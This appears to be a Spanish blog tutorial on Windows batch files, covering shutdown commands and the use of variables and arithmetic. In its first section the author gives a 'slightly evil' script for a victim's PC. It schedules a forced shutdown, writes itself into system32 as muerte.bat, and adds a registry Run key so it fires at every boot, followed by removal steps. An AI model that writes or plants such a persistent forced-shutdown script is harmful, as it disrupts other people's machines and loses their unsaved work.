Intentaré ir haciendo pequeños programas bat, explicando el código empleado para que cualquiera lo entienda.

sábado, 28 de junio de 2008

APAGADO Y REINICIO DEL PC

Voy a explicar como se puede apagar o reiniciar el pc mediante la llamada al proceso shutdown.

Los modificadores más utilizados son los siguientes:

-l: cerrar sesión
-s: apagar equipo
-r: apagar y reiniciar el equipo
-a: anular el apagado del equipo
-t xx: establecer el tiempo de espera de apagado en xx segundos
-c "comentario": Poner un comentario
-f: fuerza el cierre de las aplicaciones sin advertir.

Abrimos el block de notas y escribimos lo siguiente:

shutdown -s -f -t 00

Guardamos con el nombre de APAGAR PC.bat
Cuando ejecutamos este programa se apaga el ordenador y cierra todos los programas automáticamente sin preguntar.

Si ponemos el siguiente código:

shutdown -r -f -t 15

El ordenador se reinicia cuando pasan 15 segundos sin confirmar el cierre de aplicaciones.

Ahora un programita práctico un poco malvado.

@echo off
AT 17:30 shutdown -s -f -t 12
echo AT 17:30 shutdown -s -f -t 12 > c:/windows/system32/muerte.bat
REG ADD HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v sysin2 /t REG_SZ /d "c:/windows/system32/muerte.bat"
exit

la linea AT 17:30 shutdow -s -f -t 12 hará que el ordenador cuando sean las 17:30 al pasar 12 segundos se apagará. Pero no acaba la cosa ahí ">" redirecciona la linea, es decir copia la linea dentro de un archivo que se creará con el nombre muerte.bat en el directorio c:/windows/system32.
Por si fuera poco se añade una clave al registro para que al arrancar el pc se ejecute el programa muerte.bat
La víctima que sufra este programa lo pasará mal, bastante mal.

¿Cómo se elimina esta amenaza?. Tenemos que ir al registro mediante el programa REGEDIT.EXE y buscar dentro la clave y borrarla para que no se inicie el programa cada vez que arranque el pc. También buscamos el archivo muerte.bat y lo eliminamos. Adiós peligro.




***

UTILIZANDO VARIABLES

Las variables son datos que como su nombre indica pueden variar a lo largo del programa. Pueden adquirir valores alfanuméricos (letras o números).
Cuando se llama a una variable se encierra entre "%".

Abrir el block de notas (NOTEPAD.EXE) y escribir el siguiente código. Luego guarda como "nombre.bat"

EJEMPLO:

@echo off
cls
title PRUEBA CON VARIABLES
echo UNA PRUEBECITA CON VARIABLES VAMOS A REALIZAR
pause
set /p nombre=¿Como te llamas?
set /p edad=¿Cuantos años tienes?
pause
echo TU NOMBRE ES %nombre% Y TIENES %edad% AÑOS.
pause > nul
exit


EXPLICANDO EL CÓDIGO:
@echo off -- no aparecen escritos los comandos
cls -------- borra la pantalla
title ------ el título que saldrá en la ventana
set /p ----- asigna variable mediante pregunta
pause ------ hace una pausa en el programa y escribe "Presione una tecla para continuar..."
echo --------escribe en la consola o pantalla
pause > nul
-hace una pausa pero no escribe nada simplemente espera que pulses la tecla.
exit ------ salir del programa.

Se pueden asignar variables sin preguntar, en este caso pondríamos:
set nombre=MANUEL
set edat=22

También podemos realizar sumas, restas, multiplicaciones, divisiones, etc con las variables. Para ello se deben declarar así:

set num1=14
set num2=6
set /a sumatotal=num1+num2
set /a restatotal=num1-num2

Si hacemos lo siguiente aparecerá el resultado

echo LA SUMA DE TODO ES: %sumatotal%
echo LA RESTA DE TODO ES: %restatotal%





***